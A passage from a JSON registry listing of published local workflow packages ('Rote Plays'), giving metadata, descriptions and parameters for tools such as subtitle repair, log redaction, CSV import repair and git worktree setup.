overwritten."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9520e4b0dd8896d31b4a006643c0114ebd63f74020cc0264751f171cff3c9b3e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":4,"for_each_steps":1,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/subtitle-timing-repair-pack@0.1.1","reference":"himanshu-jha/subtitle-timing-repair-pack@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/subtitle-timing-repair-pack@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/subtitle-timing-repair-pack@0.1.1","name":"subtitle-timing-repair-pack","title":"subtitle-timing-repair-pack","description":"Correct a known subtitle offset across explicit SRT files. Writes new files in parallel and records every cue's original and shifted timestamps. Preserves all bytes outside timestamp spans, including text, markup and line endings. Rejects overlapping cues and shifts that create negative timestamps before creating output. Joins file receipts and recomputes the expected exports for read-back verification. Inputs are never edited.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["subtitles","srt","local-write","parallel"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:14:10.612551+00:00","visibility":"public","quality_score":1,"size_bytes":9346,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["shift_subtitle","assemble_ledger","reserve_exports","validate_timing","verify_subtitles"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Canonical absolute directory containing explicit SRT files."},{"name":"files","type":"string","required":false,"default":"[]","description":"JSON array of at most 32 distinct .srt paths relative to root. Empty writes an empty packet."},{"name":"shift_ms","type":"string","required":false,"default":"0","description":"Integer constant offset between -3600000 and 3600000 milliseconds. Negative results are refused."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW output directory outside root, with existing parent."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cad7699b0ad043d1f4e658e2ab034ffd50415f605e5b14eb7d413015bc2e1eee","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":4,"for_each_steps":1,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/translation-review-scaffold@0.1.1","reference":"himanshu-jha/translation-review-scaffold@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/translation-review-scaffold@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/translation-review-scaffold@0.1.1","name":"translation-review-scaffold","title":"translation-review-scaffold","description":"Prepare locale files for human translation review. Copies each target unchanged, adds null placeholders for missing base strings in a separate review draft, and records placeholder mismatches and shape conflicts. Locales run in parallel. A joined manifest and source/output read-back verify the saved packet. Existing translations and extra keys are preserved. No translations are generated and no input is edited.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["localization","translation-review","local-write","parallel"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:14:02.228024+00:00","visibility":"public","quality_score":1,"size_bytes":9122,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["review_locale","verify_review","reserve_review","assemble_review","validate_locales"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Canonical absolute directory containing explicit locale files."},{"name":"base","type":"string","required":true,"description":"Base locale path relative to root."},{"name":"targets","type":"string","required":false,"default":"[]","description":"JSON array of at most 31 distinct target file paths relative to root. Empty produces an empty review packet."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW output directory outside root, with existing parent."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:09320d858ff8381699d4d52e8f27edd2c44a0a71547752dff7e78c76db2653e5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":4,"for_each_steps":1,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/support-log-redaction-bundle@0.1.1","reference":"himanshu-jha/support-log-redaction-bundle@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/support-log-redaction-bundle@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/support-log-redaction-bundle@0.1.1","name":"support-log-redaction-bundle","title":"support-log-redaction-bundle","description":"Prepare a draft support-log bundle from files you explicitly select. Redacts selected email, IPv4, Bearer-token, credential-assignment and complete private-key-block patterns, plus optional literal strings, with independent files processed in parallel. Writes numbered redacted logs under share/ and rule counts in a private manifest. Copies no raw logs or replacement dictionary into share/. Recomputes redaction and rereads every output before verification. Human review is always required because unmatched secrets and personal data may remain.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["support","log-redaction","local-write","parallel"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:13:53.828164+00:00","visibility":"public","quality_score":1,"size_bytes":10893,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["redact_file","verify_bundle","write_handoff","inspect_inputs","reserve_outputs","reconcile_outputs"]},"parameters":[{"name":"files","type":"string","required":true,"description":"JSON array of 1–12 canonical absolute UTF-8 text log paths. Maximum 4 MiB per file; no symlink components."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW directory outside every input directory, with an existing parent. Never overwritten."},{"name":"policy","type":"string","required":false,"default":"","description":"Optional canonical absolute JSON file containing a literals array of at most 64 strings, 4–256 characters each. No custom regex; policy values are never printed or copied."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a864dfe56f457a355ef78badede630e27d14ca1d71d203252fedcf22414c8ded","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":1,"fan_out":4,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/jsonl-quarantine-recovery@0.1.1","reference":"himanshu-jha/jsonl-quarantine-recovery@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/jsonl-quarantine-recovery@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/jsonl-quarantine-recovery@0.1.1","name":"jsonl-quarantine-recovery","title":"jsonl-quarantine-recovery","description":"Recover usable records from damaged JSONL exports without discarding the bad lines. Processes explicit files in parallel, writes valid JSONL with original JSON text and numeric lexemes, and preserves every rejected line as exact base64 bytes with its source line number. Duplicate keys, non-finite numbers, invalid UTF-8 and blank lines go to quarantine; duplicate records stay. Writes originals, ledgers and hash receipts into a new directory, then recomputes and rereads the outputs. No source edits or network access.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["jsonl","data-recovery","local-write","parallel"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:13:45.092974+00:00","visibility":"public","quality_score":1,"size_bytes":10725,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["recover_file","verify_bundle","write_handoff","inspect_inputs","reserve_outputs","reconcile_outputs"]},"parameters":[{"name":"files","type":"string","required":true,"description":"JSON array of 1–12 canonical absolute JSONL paths. Maximum 4 MiB per file; no symlink components."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW directory outside every input directory, with an existing parent. Never overwritten."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:18960265bf897170824992394369eb184781489e44d4df20bfeb5d50aa67d985","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":1,"fan_out":4,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/csv-import-repair-pack@0.1.1","reference":"himanshu-jha/csv-import-repair-pack@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/csv-import-repair-pack@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/csv-import-repair-pack@0.1.1","name":"csv-import-repair-pack","title":"csv-import-repair-pack","description":"Prepare CSV exports for a schema-bound import. Processes explicit files in parallel, keeps IDs and every accepted cell as strings, applies only requested trimming, and separates rejected records from accepted CSV. Writes an exact source copy, source-line ledger and before/after edits so changes can be reviewed or reversed. Recomputes outputs from unchanged inputs before reporting verification. No database import, guessed dates, inferred schema or source edits.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["csv","data-import","local-write","parallel"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:13:36.588207+00:00","visibility":"public","quality_score":1,"size_bytes":11003,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["repair_file","verify_bundle","write_handoff","inspect_inputs","reserve_outputs","reconcile_outputs"]},"parameters":[{"name":"files","type":"string","required":true,"description":"JSON array of 1–12 canonical absolute UTF-8 comma-separated CSV paths. Maximum 4 MiB per file; no symlink components."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW directory outside every input directory, with an existing parent. Never overwritten."},{"name":"policy","type":"string","required":true,"description":"Absolute JSON schema file, at most 64 KiB. columns is an ordered array of name, optional kind (string/integer/decimal/boolean), trim and required booleans. Optional formula_policy is reject (default) or allow."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4595a1cfa8efa01e54559e6f1b3f7c0bb9116e9b23db42daee4475ea1124f19f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":1,"fan_out":4,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/dependency-notices-builder@0.1.1","reference":"himanshu-jha/dependency-notices-builder@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/dependency-notices-builder@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/dependency-notices-builder@0.1.1","name":"dependency-notices-builder","title":"dependency-notices-builder","description":"Collect dependency license evidence before distributing an npm build. Reads a package-lock v2/v3 and an existing node_modules installation, copies exact license and NOTICE bytes per package in parallel, and writes a new NOTICES.txt, package index and hash receipt. Missing packages, missing license text and metadata disagreements stay in a review queue. Reopens the bundle and source evidence before reporting verification. No installs, package scripts, network calls or edits to the installation. Collection covers root license-family files and explicit SEE LICENSE IN paths; it does not certify license compliance.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["dependencies","license-evidence","npm","local-write","parallel"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:13:28.600063+00:00","visibility":"public","quality_score":1,"size_bytes":10739,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["verify_bundle","inventory_lock","reserve_bundle","collect_package","assemble_notices","reconcile_evidence"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Canonical absolute trusted npm installation containing package.json and package-lock.json v2/v3. Existing packages must be ordinary directories, not workspace links or pnpm links."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW output directory outside the installation with an existing parent. Never overwritten."},{"name":"include_dev","type":"string","required":false,"default":"false","description":"Set true to include packages marked dev in the lockfile. Otherwise they are excluded and counted."},{"name":"max_packages","type":"string","required":false,"default":"500","description":"Maximum selected packages, 1–1000. Exceeding the limit fails rather than truncating coverage."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:90d26759585d5b546057ec095768edcfe6421a3aa093ed3f070213bd9d9c73f6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":1,"fan_out":4,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pateldharmik4701/public-api-contract-drift@0.1.0","reference":"pateldharmik4701/public-api-contract-drift@0.1.0","uri":"https://play.modiqo.ai/pateldharmik4701/public-api-contract-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/pateldharmik4701/public-api-contract-drift@0.1.0","name":"public-api-contract-drift","title":"public-api-contract-drift","description":"Snapshot a public OpenAPI or discovery schema and live responses to detect removed fields, enum mutations, pagination changes, and breaking schema drift before downstream code fails.","owner":{"kind":"user","slug":"pateldharmik4701"},"registry_organization":"pateldharmik4701","tags":["api-operations","openapi","contract-testing","drift-detection","api-governance"],"primary_domain":"domain-uncategorized","author":"Pateldharmik4701","version":"0.1.0","published_at":"2026-09-06T07:05:12.17675+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":11445,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":8,"names":["validate_input","fetch_current_spec","fetch_baseline_spec","probe_live_endpoint","analyze_schema_drift","synthesize_drift_report","analyze_live_conformance","analyze_pagination_headers"]},"parameters":[{"name":"spec","type":"string","required":true,"default":"resources/sample-v2.json","description":"URL or local file path to current OpenAPI/Swagger JSON/YAML spec","example":"resources/sample-v2.json"},{"name":"baseline","type":"string","required":false,"default":"","description":"Optional baseline OpenAPI spec URL or file path to detect breaking evolution","example":"resources/sample-v1.json"},{"name":"sample_endpoint","type":"string","required":false,"default":"","description":"Optional live API endpoint URL or local JSON fixture to check against documented schema","example":"resources/live-response-sample.json"},{"name":"target_schema","type":"string","required":false,"default":"","description":"Optional target schema name in components.schemas to validate live payload against (auto-detected if blank)","example":"Product"},{"name":"tolerance","type":"string","required":false,"default":"strict","description":"Drift tolerance mode (strict flags undeclared fields and enum additions; lenient flags breaking changes only)","values":["strict","lenient"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:46676561b989355aac7a6d07eb77f10b24feba62f3baa9c6eaad0be18f7858ca","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":3,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/preview-release-evidence-pack@0.1.0","reference":"himanshu-jha/preview-release-evidence-pack@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/preview-release-evidence-pack@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/preview-release-evidence-pack@0.1.0","name":"preview-release-evidence-pack","title":"preview-release-evidence-pack","description":"Before sharing a preview with a reviewer, compare its visible build heading with a local Git commit. An isolated browser waits for the page and captures bounded headings, links and exposed error elements. A missing, short, duplicate or truncated build marker remains UNKNOWN; a different full SHA is MISMATCH. Writes a new evidence.json, REVIEW.md and hash receipt, then reopens them to verify the saved packet. It never edits the repository or submits forms. A matching heading is a page assertion, not cryptographic deployment provenance.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["browser","preview-review","release-evidence","effect-local-write","developer-productivity"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.0","published_at":"2026-09-06T06:57:40.066885+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":10432,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":9,"names":["open_preview","wait_for_preview","capture_page_errors","pin_expected_commit","write_evidence_pack","capture_review_links","compare_build_marker","verify_evidence_pack","capture_build_headings"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Canonical absolute root of the trusted local Git repository. Read-only."},{"name":"expected_ref","type":"string","required":false,"default":"HEAD","description":"Local ref or commit naming the expected build. Resolved before navigation and checked for drift."},{"name":"preview_url","type":"string","required":true,"description":"Trusted public HTTPS page without credentials or query/fragment; HTTP allowed only on loopback for testing. Page JavaScript may make requests."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW directory outside the repository with an existing parent. Never overwritten."},{"name":"marker_prefix","type":"string","required":false,"default":"Build:","description":"Exact prefix of a visible heading containing one full 40- or 64-character Git SHA. Hidden meta tags and abbreviated IDs are not supported."},{"name":"ready_selector","type":"string","required":false,"default":"main","description":"Stable CSS readiness selector. The Play waits up to 15 seconds before extracting; presence does not prove application health."}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fe401034d3c4e8185d812239f4bd9bd8b58a95031bb30688f307046062d4b598","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":4,"browser":5,"auth":0,"other":0},"distinct_kinds":2,"depth":9,"width":1,"fan_out":0,"for_each_steps":0,"complexity":18,"apis":[],"tools":[{"name":"browser","kind":"tool","source":"declared","count":5},{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":{"api_tokens":10833,"context_tokens":4335,"exploration_ms":4954,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/jvxplaymaker/playrescue@0.1.0","reference":"jvxplaymaker/playrescue@0.1.0","uri":"https://play.modiqo.ai/jvxplaymaker/playrescue@0.1.0","manifest_uri":"https://play.modiqo.ai/jvxplaymaker/playrescue@0.1.0","name":"playrescue","title":"playrescue","description":"Reconstructs a failed Rote Play run and recommends the smallest evidence-backed recovery without executing it.","owner":{"kind":"user","slug":"jvxplaymaker"},"registry_organization":"jvxplaymaker","tags":["rotekit","recovery","failed-runs","diagnostics"],"primary_domain":"domain-uncategorized","author":"jvxplaymaker","version":"0.1.0","published_at":"2026-09-06T06:38:30.714974+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":10048,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"play","type":"string","required":true,"description":"Play reference or local path associated with the failed run"},{"name":"run_id","type":"string","required":true,"description":"Failed Rote DAG run identifier"},{"name":"workspace","type":"string","required":false,"default":"","description":"Optional generated Rote workspace name or path"},{"name":"debug","type":"boolean","required":false,"default":false,"description":"Include checkpoint and response-resolution diagnostics"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f6173dee9792988e6388513e75988da5e35ed00981f8bea9a5d097e5421a030b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/agent-worktree-launchpad@0.1.0","reference":"himanshu-jha/agent-worktree-launchpad@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/agent-worktree-launchpad@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/agent-worktree-launchpad@0.1.0","name":"agent-worktree-launchpad","title":"agent-worktree-launchpad","description":"Prepare isolated worktrees for up to eight parallel development tasks from one local commit. Git branch and worktree registration is serialized; file materialization and task handoffs run in bounded per-task fan-outs. Reads raw Git blobs instead of running checkout hooks or filters, verifies branch IDs, indexes, file bytes and handoff hashes, and writes a completion receipt only after every task passes. Existing branches and destinations are refused. Interrupted runs retain an explicit recovery journal. No agents, project commands, dependency installs or network requests are started.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-local-write","git-worktrees","parallel-agents","developer-productivity","task-handoff"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.0","published_at":"2026-09-06T06:29:05.426277+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":11256,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["validate_plan","write_handoff","create_worktrees","materialize_task","verify_launchpad","reserve_destination"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Canonical absolute root of a trusted local Git repository. Existing files and index are not edited.","example":"/absolute/path/to/repo"},{"name":"base_ref","type":"string","required":false,"default":"HEAD","description":"Local commit or ref to materialize; resolved once before any writes. Never fetched."},{"name":"tasks","type":"string","required":true,"description":"One to eight distinct lowercase task names separated by commas. Creates new agent/<task> branches.","example":"api,ui,tests"},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW directory outside the source repository. Its parent must exist and be owned by the caller.","example":"/absolute/path/to/new-launchpad"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c20f6e80a5df15dabdbccf859aab86b413478f9980387f466b337bd5015647fb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":1,"fan_out":4,"for_each_steps":2,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nirvanjha2004/hiring-radar@0.1.0","reference":"nirvanjha2004/hiring-radar@0.1.0","uri":"https://play.modiqo.ai/nirvanjha2004/hiring-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/nirvanjha2004/hiring-radar@0.1.0","name":"hiring-radar","title":"hiring-radar","description":"Daily hiring digest across HN Who is Hiring and SimplifyJobs lists. Matches role keywords, keeps postings with real application links, surfaces hiring contacts only when listed. Read-only, public sources, python3 only.","owner":{"kind":"user","slug":"nirvanjha2004"},"registry_organization":"nirvanjha2004","tags":["jobs","hiring","career","typescript"],"primary_domain":"domain-uncategorized","author":"Nirvanjha2004","version":"0.1.0","published_at":"2026-09-06T06:23:20.412317+00:00","visibility":"public","quality_score":1,"size_bytes":6663,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["render_digest","validate_input","fetch_hn_thread","search_hn_postings","fetch_simplify_list"]},"parameters":[{"name":"query","type":"string","required":false,"default":"software engineer intern","description":"Role keywords to match, such as software engineer intern"},{"name":"location","type":"string","required":false,"default":"","description":"Location filter such as India or remote, empty means anywhere"},{"name":"max_results","type":"number","required":false,"default":"20","description":"Maximum postings in the digest between 1 and 50"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0e3a029216fe9496256863c589f80266c455bb4eac28500b5e364d39967d595b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nirvanjha2004/standup-writer@0.1.0","reference":"nirvanjha2004/standup-writer@0.1.0","uri":"https://play.modiqo.ai/nirvanjha2004/standup-writer@0.1.0","manifest_uri":"https://play.modiqo.ai/nirvanjha2004/standup-writer@0.1.0","name":"standup-writer","title":"standup-writer","description":"Drafts a Yesterday-Today-Blockers standup from local git activity across repos under one folder. Read-only, no credentials, python3 and git only.","owner":{"kind":"user","slug":"nirvanjha2004"},"registry_organization":"nirvanjha2004","tags":["productivity","git","standup","typescript"],"primary_domain":"domain-uncategorized","author":"Nirvanjha2004","version":"0.1.0","published_at":"2026-09-06T06:05:09.031478+00:00","visibility":"public","quality_score":1,"size_bytes":4861,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["render_draft","discover_repos","validate_input","collect_activity"]},"parameters":[{"name":"scan_dir","type":"string","required":false,"default":".","description":"Directory to scan for git repositories"},{"name":"since_hours","type":"number","required":false,"default":"24","description":"Lookback window in hours for commit activity"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9c32957254d0b2775f93aebb60e586c8b37d7decedc0612fdc668e43fbb0630a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vrajsensei/refresh-claude-md@1.0.0","reference":"vrajsensei/refresh-claude-md@1.0.0","uri":"https://play.modiqo.ai/vrajsensei/refresh-claude-md@1.0.0","manifest_uri":"https://play.modiqo.ai/vrajsensei/refresh-claude-md@1.0.0","name":"refresh-claude-md","title":"refresh-claude-md","description":"Finds every false command, path, host and version claim in an agent-notes file (CLAUDE.md) by checking it against package.json and the filesystem, then previews or applies a lean rewrite -- Project, Commands, Gotchas -- that preserves a protected section 